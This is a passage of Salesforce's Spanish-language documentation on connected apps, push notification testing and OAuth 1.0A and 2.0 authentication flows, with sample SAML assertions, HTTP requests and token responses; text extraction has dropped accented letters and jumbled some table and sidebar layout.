personalizados de SAML o atributos personalizados de OAuth para una aplicacin conectada. Los administradores pueden eliminar
o modificar esos atributos. Los administradores tambin pueden agregar atributos personalizados. Los atributos eliminados,
modificados o agregados por administradores sustituyen los atributos establecidos por los desarrolladores. Para obtener ms
informacin, consulte Modificacin, paquetes o eliminacin de una aplicacin conectada en la pgina 144
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Para ver informacin sobre el uso de cualquier aplicacin conectada en la organizacin, desde Configuracin, haga clic en Gestionar
aplicaciones > Uso de OAuth de aplicaciones conectadas. Aparece una lista de aplicaciones conectadas e informacin acerca de
cada una.
Aplicacin conectada
El nombre de la aplicacin. Las aplicaciones conectadas que estn instaladas pero no se han utilizado no aparecen en la lista.
Ver informacin de la aplicacin
Haga clic en Ver informacin de la aplicacin para ir a la pgina de detalles de la aplicacin conectada. De forma alternativa, si
la aplicacin conectada no est an instalada, haga clic en Instalar.
Recuento del usuario
El nmero de usuarios que han ejecutado la aplicacin. Haga clic en el valor Recuento del usuario para ver informacin acerca de
cada usuario incluyendo:
Cundo us por primera vez la aplicacin.
La ltima vez que han utilizado la aplicacin
El nmero total de veces que ha utilizado la aplicacin
En la pgina Uso del usuario de la aplicacin conectada, puede finalizar el acceso de un usuario a su sesin actual haciendo clic en
la accin Revocar en la fila de esa persona. O haga clic en el botn Revocar todo en la parte superior de la pgina para desconectar
cualquier persona que est utilizando la aplicacin conectada.
Accin
Haga clic en Bloquear para finalizar todas las sesiones de usuario actuales con la aplicacin conectada y bloquear todas las nuevas
sesiones. El bloqueo de una aplicacin no es permanente. Puede hacer clic en Desbloquear para permitir a los usuarios iniciar sesin
y acceder a la aplicacin en otro momento.
EDICIONES
Disponible en: todas las
ediciones
Salesforce Classic no est
disponible en
Database.com.
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Lmite
50 000 notificaciones
por aplicacin al da
Aplicaciones mviles desarrolladas por su organizacin para el uso interno 35 000 notificaciones
por parte de los empleados
por aplicacin al da
Aplicaciones mviles instaladas desde AppExchange
EDICIONES
Las aplicaciones conectadas
se pueden crear en: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition
Las aplicaciones conectadas
se pueden instalar en: todas
las ediciones
PERMISOS DE USUARIO
Para enviar una notificacin
distribuida desde la pgina
Probar notificaciones
distribuidas:
Autor de Apex
Y
Solo las notificaciones de entrega cuentan para este lmite. Por ejemplo, suponga que se enva una
notificacin a 1000 empleados de su empresa, pero 100 empleados an no han instalado la aplicacin
mvil. Solo las notificaciones enviadas a los 900 empleados que han instalado la aplicacin mvil
cuentan para este lmite.
Gestionar aplicaciones
conectadas
Cada notificacin distribuida de prueba que se genera en la pgina Probar notificaciones distribuidas se limita a un solo destinatario.
Las notificaciones distribuidas de prueba cuentan para el lmite de notificaciones distribuidas diarias de una aplicacin.
1. Introduzca una cadena de token de conexin en el campo Destinatario o busque un destinatario. Para ello, haga clic en Buscar
y, a continuacin, seleccione uno de los resultados de la bsqueda. De forma predeterminada, la lista de resultados de la bsqueda
muestra los ltimos cinco dispositivos registrados para su aplicacin conectada.
a. Para buscar otros dispositivos, introduzca un nombre de usuario en el cuadro de texto de bsqueda.
b. Haga clic en Ir para generar una lista de todos los dispositivos registrados actualmente con este nombre de usuario.
2. Para Carga, introduzca un valor de JSON que contenga su mensaje.
3. Para enviar la notificacin distribuida solo al servidor GCM, seleccione Ejecucin en seco.
4. Haga clic en Enviar para enviar la notificacin distribuida de prueba o haga clic en Borrar para restablecer el formulario.
CONSULTE TAMBIN
Prueba de notificaciones distribuidas
Solucin sugerida
Se ha superado el lmite de la velocidad de distribucin diaria para Dado que el lmite diario no es negociable, no hay ninguna solucin
esta aplicacin
disponible.
El servicio de notificaciones distribuidas de Apple no acepta el
certificado
Se ha revocado el certificado
Certificado caducado
Renueve el certificado.
El certificado no es vlido an
Mensaje
Solucin sugerida
El servicio de notificacin distribuida de Apple ha devuelto un error Pngase en contacto con Apple o intntelo de nuevo ms adelante.
desconocido
La insignia debe ser un nmero
Debe introducir un valor para uno de los siguientes campos como Introduzca un valor vlido para uno de los campos.
mnimo: Alerta, Insignia, Sonido o Carga personalizada
Es necesario un destinatario
Error interno en el servidor de Google Cloud Messaging o el servidor Intntelo de nuevo ms adelante.
no est disponible temporalmente
El Id. de registro del campo de destinatario tiene un formato
incorrecto
El campo del destinatario contiene un Id. de registro no vlido para Proporcione la clave de servidor correcta para la aplicacin.
la clave de la aplicacin conectada para las aplicaciones del servidor
(clave API)
Es necesario un destinatario
Mensaje
Solucin sugerida
Se ha producido un error inesperado. Pngase en contacto con su Pngase en contacto con salesforce.com.
equipo de asistencia tcnica de SFDC.
CONSULTE TAMBIN
Creacin de una aplicacin conectada
Prueba de notificaciones distribuidas
EDICIONES
Para leer:
Personalizar aplicacin
Personalizar aplicacin Y
Modificar todos los datos O Gestionar
aplicaciones conectadas
Puede eliminar una aplicacin conectada de su organizacin desinstalando el paquete del que forma parte la aplicacin.
Nota: Cuando se desinstala una aplicacin conectada, se eliminan los tokens de acceso y actualizacin de todos los usuarios de
la aplicacin. Eso evita que un usuario inicie la aplicacin ms adelante, utilizando un token de acceso existente, sin aprobar la
aplicacin de forma explcita.
EDICIONES
Disponible en: todas las
ediciones
Para OAuth 2.0, el token de acceso es un Id. de sesin y puede usarse directamente.
Cdigo de autorizacin
Solo se utiliza en OAuth 2.0 con el flujo de servidor Web. Un token pasajero que representa el
acceso otorgado por el usuario final. El cdigo de autorizacin se utiliza para obtener un token
de acceso y un token de actualizacin. Para OAuth 1.0.A, consulte Token de solicitud.
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Consumidor
Sitio Web o aplicacin que utiliza OAuth para autenticar tanto al usuario de Salesforce como la aplicacin en nombre del usuario.
Clave de consumidor
Valor empleado por el consumidor para identificarse en Salesforce. Tambin denominado client_id en OAuth 2.0.
Pregunta secreta de consumidor
Pregunta secreta utilizada por el consumidor para establecer la propiedad de la clave de consumidor. Tambin denominado
client_secret en OAuth 2.0.
Valor instantneo
Nmero, a menudo aleatorio, que se usa durante la autenticacin para asegurar que no se reutilizan las solicitudes.
Token de actualizacin
Slo se utiliza en OAuth 2.0. Un token utilizado por el consumidor para obtener un nuevo token de acceso, sin necesidad de tener
la aprobacin del usuario final para acceder de nuevo.
Token de solicitud
Valor que utiliza el consumidor para recibir autorizacin del usuario y que se cambia por un token de acceso. Los token de solicitud
slo se utilizan en OAuth 1.0.A. Para OAuth 2.0, consulte el Cdigo de autorizacin.
Proveedor de servicio
Una aplicacin web que permite al acceso mediante OAuth. Es su instancia de Salesforce una vez que el acceso remoto se ha activado.
Secreto del Token
Un secreto que utiliza el consumidor para establecer la propiedad de un token dado, tanto para los token de solicitud como los
token de acceso.
Usuario
Individuo con inicio de sesin en Salesforce.
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
Autenticacin de aplicaciones
Autenticacin de aplicaciones con OAuth
Cuando un usuario solicita sus datos de Salesforce desde la aplicacin externa (la pgina del
consumidor), Salesforce tiene que autenticarlo. Cada flujo de autenticacin tiene varios pasos, tal
y como establece la normativa OAuth y lo que intenta acceder a Salesforce.
Salesforce admite flujos de autenticacin OAuth de las versiones 1.0A y 2.0.
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
Flujo de token de actualizacin de OAuth 2.0: Cuando el cliente haya autorizado el usuario, puede usar un token de actualizacin
para obtener un nuevo token de acceso (ID de sesin). Esto solo se consigue cuando el consumidor ya ha recibido un token de
actualizacin con el servidor Web o el flujo de agente de usuario.
Flujo del token de soporte JWT de OAuth 2.0: El flujo del token de soporte JWT de OAuth 2.0 define cmo se puede utilizar un JWT
para solicitar un token de acceso de OAuth a Salesforce cuando un cliente desee utilizar una autorizacin anterior. La autenticacin
de la aplicacin autorizada se obtiene mediante una firma digital aplicada al JWT.
Flujo de afirmacin de soporte SAML de OAuth 2.0:El flujo de afirmacin de soporte SAML de OAuth 2.0 define cmo se puede
utilizar una afirmacin SAML para solicitar un token de acceso de OAuth cuando un cliente desee utilizar una autorizacin anterior.
La autenticacin de la aplicacin autorizada se obtiene mediante la firma digital aplicada a la afirmacin SAML.
Flujo de afirmacin SAML: El flujo de afirmacin SAML es una alternativa para las organizaciones que utilizan actualmente SAML
para acceder a Salesforce y desean acceder a la API de servicios Web de la misma forma. El flujo de afirmacin SAML slo se puede
utilizar en una organizacin nica. No tiene que crear una aplicacin conectada para utilizar este flujo de afirmacin.
Nombre de usuario y contrasea de OAuth 2.0: el flujo de autenticacin de nombre de usuario-contrasea se puede utilizar para
autenticar si el consumidor ya tiene las credenciales del usuario.
PRECAUCIN: El flujo de autenticacin OAuth implica la transferencia de las credenciales del usuario. Use este flujo de
autenticacin cuando sea necesario. No se generar el token de actualizacin.
Para todos los flujos de autenticacin, si se solicita a un usuario que autorice el acceso y, en su lugar, hace clic en el vnculo que indica
que ya no es el usuario que ha iniciado sesin, se cierra la sesin actual del usuario y el flujo de autorizacin se reinicia autenticando al
usuario.
Nota: Los usuarios pueden autorizar a una aplicacin para que acceda a Salesforce ms de una vez, por ejemplo, para un porttil
y un equipo de sobremesa. El lmite predeterminado es cinco autorizaciones por aplicacin y usuario. Si un usuario intenta conceder
acceso a una aplicacin ms veces de las permitidas por el lmite de la organizacin, el token de acceso usado por ltima vez para
esa aplicacin se revoca. Las aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) que utilicen el flujo del servidor Web se
aprueban automticamente para los dispositivos adicionales despus de que el usuario haya concedido acceso una vez. El flujo
de usuario-agente requiere la aprobacin del usuario cada vez que se aplica.
EDICIONES
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
u: Socio WSDL
c: WSDL de empresa
Por ejemplo, https://login.salesforce.com/services/OAuth/u/17.0.
1. El consumidor realiza una solicitud HTTPS POST a https://login.salesforce.com, con los parmetros obligatorios en
el encabezado de autorizacin.
clave_consumidor_oauth
token_oauth
mtodo_firma_oauth
firma_oauth
marca_hora_oauth
valor_instantneo_oauth
versin_oauth (es opcional, debe ser 1.0 en caso de que se incluya)
2. Salesforce valida la solicitud y enva un Id. de sesin vlido al consumidor.
u: Socio WSDL
c: WSDL de empresa
versin-api debe ser una versin vlida de API.
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
Error
Notas
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1716
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
El flujo de afirmacin de soporte SAML de OAuth 2.0 es similar al flujo de un token de actualizacin
dentro de OAuth. Se realiza una solicitud POST para la afirmacin SAML al extremo del token de
OAuth, que a su vez procesa la afirmacin y emite un access_token basndose en la aprobacin anterior de la solicitud. Sin embargo,
el cliente no necesita tener o almacenar un refresh_token ni se necesita un client_secret para transmitirlo al extremo del
token.
A continuacin se indican los pasos generales que hay que realizar para utilizar el flujo de afirmacin de soporte SAML de OAuth 2.0:
1. El desarrollador crea una aplicacin conectada y registra un certificado X509. Este certificado se corresponde con la clave privada de
su aplicacin. Cuando se guarda la aplicacin conectada, la Clave del consumidor (client_id de OAuth) se genera y
asigna a la aplicacin.
2. El desarrollador escribe una aplicacin que genera una afirmacin SAML y la firma con su clave privada.
3. Se realiza una solicitud POST para la afirmacin al extremo del token
https://login.salesforce.com/services/oauth2/token.
4. El extremo del token valida la firma mediante el certificado registrado por el desarrollador.
5. El extremo del token valida el valor Dirigido a, el Emisor, el Asunto y la validez de la afirmacin.
6. Suponiendo que la afirmacin es vlida y que el usuario o el administrador ha autorizado previamente la aplicacin, Salesforce emite
un access_token.
Nota: En este flujo no se emite nunca un refresh_token.
Cuando se realiza una solicitud POST al extremo del token, la afirmacin debe codificarse con codificacin base64url como se define
aqu: http://tools.ietf.org/html/rfc4648#page-7
A continuacin se incluye una afirmacin de muestra:
<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_cd3649b3639560458bc9d9b33dfee8d21378409114655" IssueInstant="2013-09-05T19:25:14.654Z"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC92
4qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_cd3649b3639560458bc9d9b33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="ds saml"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>N8DxylbIeNg8JDO87WIqXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
XV0lFJrkhJykGYQbIs0JBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WqjF8EKrqV4Q3/Q4KglrXl/6s
xJr6WOmxWtIQC4oWhSvVyfag34zQoecZeunEdFSMlnvPtqBVzJu9hJjy/QDqDWfMeWvF9S50Azd0
EhJxz/Ly1i28o4aCXQQ=
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIICOzCCAaSgAwIBAgIGAR7RRteKMA0GCSqGSIb3DQEBBQUAMGExCzAJBgNVBAYTAlVTMQswCQYD
VQQIEwJDQTEWMBQGA1UEBxMNU2FuIEZyYW5jaXNjbzENMAsGA1UEChMEUEFDUzENMAsGA1UECxME
U0ZEQzEPMA0GA1UEAxMGU0FNTDIwMB4XDTA5MDExMzE4MzUyN1oXDTE0MDExMTE4MzUyN1owYTEL
MAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMQ0wCwYDVQQK
EwRQQUNTMQ0wCwYDVQQLEwRTRkRDMQ8wDQYDVQQDEwZTQU1MMjAwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAJNGcu8nW6xq2l/dAgbJmSfHLGRn+vCuKWY+LAELw+Kerjaj5Dq3ZGW38HR4BmZk
sG3g4eA1RXn1hiZGI1Q6Ei59QE/OZQx2zVSTb7+oIwRcDHEB1+RraYT3LJuh4JwUDVfEj3WgDnTj
E5vD46l/CR5EXf4VL8uo8T40FkA51AhTAgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAehxggY6tBl8x
1SSvCUyUIHvxssAn1AutgZLKWuR1+FXfJzdVdE2F77nrV9YifIERUwhONiS82mBOkKqZZPL1hcKh
KSnFZN2iWmm1sspL73I/eAwVsOUj+bS3v9POo4ceAD/QCCY8gUAInTH0Mq1eOdJMhYKnw/blUyqj
Zn9rajY=
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">test@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.654Z"
Recipient="https://login.salesforce.com/services/oauth2/token"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.655Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
Nota: Una solicitud de afirmacin de soporte SAML de OAuth 2.0 comprueba todas las aprobaciones anteriores para el usuario
que incluyan un refresh_token. Si se encuentran aprobaciones coincidentes, los valores de los mbitos aprobados se
combinan y se emite un access_token (con el valor "token_type" como "Bearer"). Si ninguna aprobacin anterior
incluye un refresh_token, no hay ningn mbito aprobado disponible, por lo que la solicitud falla al no autorizarse.
Errores
Si se produce un error al procesar la afirmacin de soporte SAML, el servidor responde con un mensaje de error de OAuth estndar, que
incluye el error y una descripcin del error con informacin adicional relativa a los motivos por los que el token no se consider vlido.
A continuacin se incluye una respuesta de error de muestra:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
El flujo del token de soporte JWT de OAuth 2.0 define cmo se puede utilizar un JWT para solicitar
un token de acceso de OAuth a Salesforce cuando un cliente desee utilizar una autorizacin anterior.
La autenticacin de la aplicacin autorizada se obtiene mediante una firma digital aplicada al JWT.
Puede encontrar explicaciones ms detalladas de un JWT y del flujo del token de soporte JWT de
OAuth en:
PERMISOS DE USUARIO
http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer
http://tools.ietf.org/html/draft-jones-json-web-token
Descripcin general del flujo del token de soporte JWT de OAuth 2.0
El flujo del token de soporte JWT de OAuth 2.0 es similar al flujo de un token de actualizacin dentro
de OAuth. Se realiza una solicitud POST para el JWT al extremo del token de OAuth, que a su vez procesa el JWT y emite un
access_token basndose en la aprobacin anterior de la solicitud. Sin embargo, el cliente no necesita tener o almacenar un
refresh_token ni se necesita un client_secret para transmitirlo al extremo del token.
El flujo de soporte de JWT admite el algoritmo RSA SHA256, que use un certificado cargado como secreto de firma.
El flujo del token de soporte JWT de OAuth 2.0 incluye los siguientes pasos generales:
1. El desarrollador crea una nueva aplicacin conectada o utiliza una ya existente y puede opcionalmente registrar un certificado X509.
Este certificado se corresponde con la clave privada de su aplicacin. Cuando se guarda la aplicacin conectada, la Clave del
consumidor (client_id de OAuth) y la pregunta secreta del consumidor se generan y asignan a la aplicacin.
2. El desarrollador escribe una aplicacin que genera un JWT y lo firma con su certificado.
4. El extremo del token valida la firma mediante el certificado registrado por el desarrollador.
5. El extremo del token valida el pblico (aud), el emisor (iss), la validez (exp) y el principal (prn) del JWT.
6. Suponiendo que el JWT es vlido y que el usuario o el administrador ha autorizado previamente la aplicacin, Salesforce emite un
access_token.
Nota: En este flujo no se emite nunca un refresh_token.
5. Cree una nueva cadena para el encabezado de JWT codificado y el conjunto de solicitudes de JWT codificado con este formato:
encoded_JWT_Header + "." + encoded_JWT_Claims_Set
RcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnb
WFpbC5jb20iLCAiYXVkIjogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20
iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ
org.apache.commons.codec.binary.Base64;
java.io.*;
java.security.*;
java.text.MessageFormat;
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=PHNhbWxwOl...[omitted for
brevity]...ZT
Errores
Si se produce un error al procesar el token de soporte JWT, el servidor responde con un mensaje de error de OAuth estndar, que incluye
el error y una descripcin del error con informacin adicional relativa a los motivos por los que el token no se consider vlido. A
continuacin se incluye una respuesta de error de muestra:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml
El siguiente ejemplo es el cuerpo de la PUBLICACIN fuera de banda al extremo de token:
POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato que se devuelve en un encabezado de
solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
signature: firma HMAC-SHA256 con codificacin de Base64 firmada con la clave privada del consumidor con el Id. concatenado
e issued_at. Se puede utilizar para verificar que la URL de identidad no se ha modificado desde que la envi el servidor.
issued_at: momento de creacin de la firma.
A continuacin se incluye un ejemplo de respuesta JSON de Salesforce:
{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448384422","instance_url":"https://na1.salesforce.com",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",
"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}
Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP POST.
invalid_client_credentials: secreto de cliente no vlido.
invalid_request: tipo de secreto no compatible.
invalid_grant: token de acceso/actualizacin expirado.
invalid_grant: IP restringida u horas de inicio de sesin incorrectas.
inactive_user: el usuario est inactivo.
CONSULTE TAMBIN
Autenticacin de aplicaciones con OAuth
EDICIONES
Disponible en: todas las
ediciones
PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas
1. El servidor Web redirige al usuario a Salesforce para autenticar y autorizar el servidor a los datos de acceso en su nombre.
2. Despus de que el usuario apruebe el acceso, el servidor Web recibe una llamada con un cdigo de autorizacin.
3. Tras obtener el cdigo de autorizacin, el servidor Web transmite el cdigo de autorizacin para obtener una respuesta del token.
4. Tras validar el cdigo de autorizacin, Salesforce transmite una respuesta del token. Si no se ha producido ningn error, el token de
respuesta incluye un cdigo de acceso e informacin adicional.
5. Despus de conceder el token, el servidor Web accede a sus datos.
Cuando el servidor Web tenga un token de acceso, podr utilizar el token de acceso para acceder a los datos de Salesforce en nombre
del usuario final y utilizar un token de actualizacin para obtener un nuevo token de acceso si se invalida por algn motivo.
scope: El parmetro scope le permite ajustar a lo que puede acceder la aplicacin cliente en una organizacin Salesforce. Consulte
Valores de parmetros de mbito en la pgina 187 para conocer los parmetros vlidos.
redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente o fallar la aprobacin. Este valor debe tener codificacin
de URL.
state: cualquier estado que el consumidor quiera reflejar tras su aprobacin, durante la devolucin de llamada. Este parmetro
es opcional. Este valor debe tener codificacin de URL.
immediate: determina si se debe solicitar al usuario para el inicio de sesin y la aprobacin. Este parmetro es opcional. El valor
debe ser verdadero o falso, si se especifica. El valor predeterminado es falso. Tenga en cuenta lo siguiente:
Si se establece a verdadero, y si el usuario est registrado actualmente y ha aprobado previamente client_id, Salesforce
omitir el paso de la aprobacin.
Si se establece a verdadero y el usuario no est registrado o no ha aprobado previamente al cliente, Salesforce finalizar
inmediatamente con el cdigo de error immediate_unsuccessful.
Nota: Esta opcin no est disponible para Comunidades.
display: cambia el tipo de visualizacin de la pgina de inicio de sesin y de autorizacin. Este parmetro es opcional. Los nicos
valores que admite Salesforce son:
page: pantalla de autorizacin de pgina completa Es el valor predefinido si no se especifica ninguno.
popup: cuadro de dilogo compacto optimizado para ventanas emergentes de explorador Web moderno.
touch: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones modernos, como Android e
iPhone.
mobile: cuadro de dilogo optimizado para aplicaciones mviles diseado para smartphones menos modernos, como BlackBerry
OS 5.
login_hint: Proporciona un valor de nombre de usuario vlido con este parmetro para cumplimentar previamente la pgina
de inicio de sesin con el nombre de usuario. Por ejemplo: login_hint=username@company.com. Si un usuario ya tiene
una sesin activa en el navegador y por lo tanto el parmetro login_hint es nada, la sesin de usuario activa contina.
valor instantneo: Opcional con el mbito openid para obtener un token de Id. de usuario. El valor se devuelve en la
respuesta y es til para detectar ataques de "nueva reproduccin".
promptEspecifica cmo el servidor de autorizacin solicita al usuario una reaprobacin y reautenticacin. Este parmetro es
opcional. Los nicos valores que admite Salesforce son:
loginEl servidor de autorizacin debe solicitar al usuario la reautenticacin, forzando as el usuario a volver a iniciar sesin.
consentEl servidor de autorizacin debe solicitar al usuario una reaprobacin antes de devolver informacin al cliente.
Se pueden introducir ambos valores, separados por un espacio, para solicitar al usuario tanto iniciar sesin como volver a autorizarse.
Por ejemplo:
?prompt=login%20consent
Para iniciar el flujo, el servidor Web suele formar un vnculo o enva una redireccin de HTTP al explorador. A continuacin se incluye un
ejemplo de una solicitud a un extremo de autorizacin desde un cliente de servidor Web:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate
Si el usuario ha iniciado sesin, Salesforce le redirige a la pgina de aprobacin. Si el usuario no ha iniciado sesin, se le solicitar que lo
haga y, a continuacin, se le redirigir a la pgina de aprobacin en la que se concede acceso a la aplicacin. Si el usuario ya ha aprobado
el acceso una vez, no necesitar volver a hacerlo.
Si el usuario deniega la aplicacin, se le redirigir a la redirect_uri con los siguientes valores en la cadena de consulta:
error: el valor es access_denied.
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
Por ejemplo:
https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate
Si se produce un error durante este paso, la respuesta contiene un mensaje de error con las siguientes partes:
error: cdigo de error.
error_description: descripcin del error con informacin adicional.
unsupported_response_type: tipo de respuesta no compatible.
invalid_client_id: identificador de cliente no vlido.
invalid_request: HTTPS necesario.
invalid_request: se debe utilizar HTTP GET.
access_denied: autorizacin denegada del usuario final.
redirect_uri_missing: uri de redireccin no proporcionada.
redirect_uri_mismatch: uri de redireccin no coincidente con la definicin de la aplicacin conectada.
immediate_unsuccessful: inmediato incorrecto
invalid_scope: el mbito solicitado no es vlido, es desconocido o defectuoso
state: estado transmitido en el paso de aprobacin. No se incluye si el parmetro state no se ha incluido en la cadena de
consulta original.
Intercambio del cdigo de verificacin y el token de acceso por parte del servidor Web
Tras obtener el cdigo de autorizacin, el servidor Web intercambia el cdigo de autorizacin por un token de acceso.
El consumidor debe realizar una PUBLICACIN directamente en el extremo del token, con los siguientes parmetros:
grant_type: el valor debe ser authorization_code para este flujo.
client_id: clave del consumidor de la definicin de aplicacin conectada.
redirect_uri: URI a la que redirigir al usuario tras su aprobacin. Debe coincidir con el valor del campo URL de devolucin
de llamada en la definicin de la aplicacin conectada exactamente y es el mismo valor que el enviado por la redireccin inicial.
Consulte Redireccin de un usuario para obtener autorizacin de acceso en la pgina 175.
code: cdigo de autorizacin obtenido de la llamada tras su aprobacin.
format: formato de respuesta esperado. Este parmetro es opcional. El valor predeterminado es json. Los valores son:
urlencoded
json
xml
A continuacin se incluye un ejemplo del cuerpo de la PUBLICACIN enviada fuera de banda:
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ
VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI
NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs
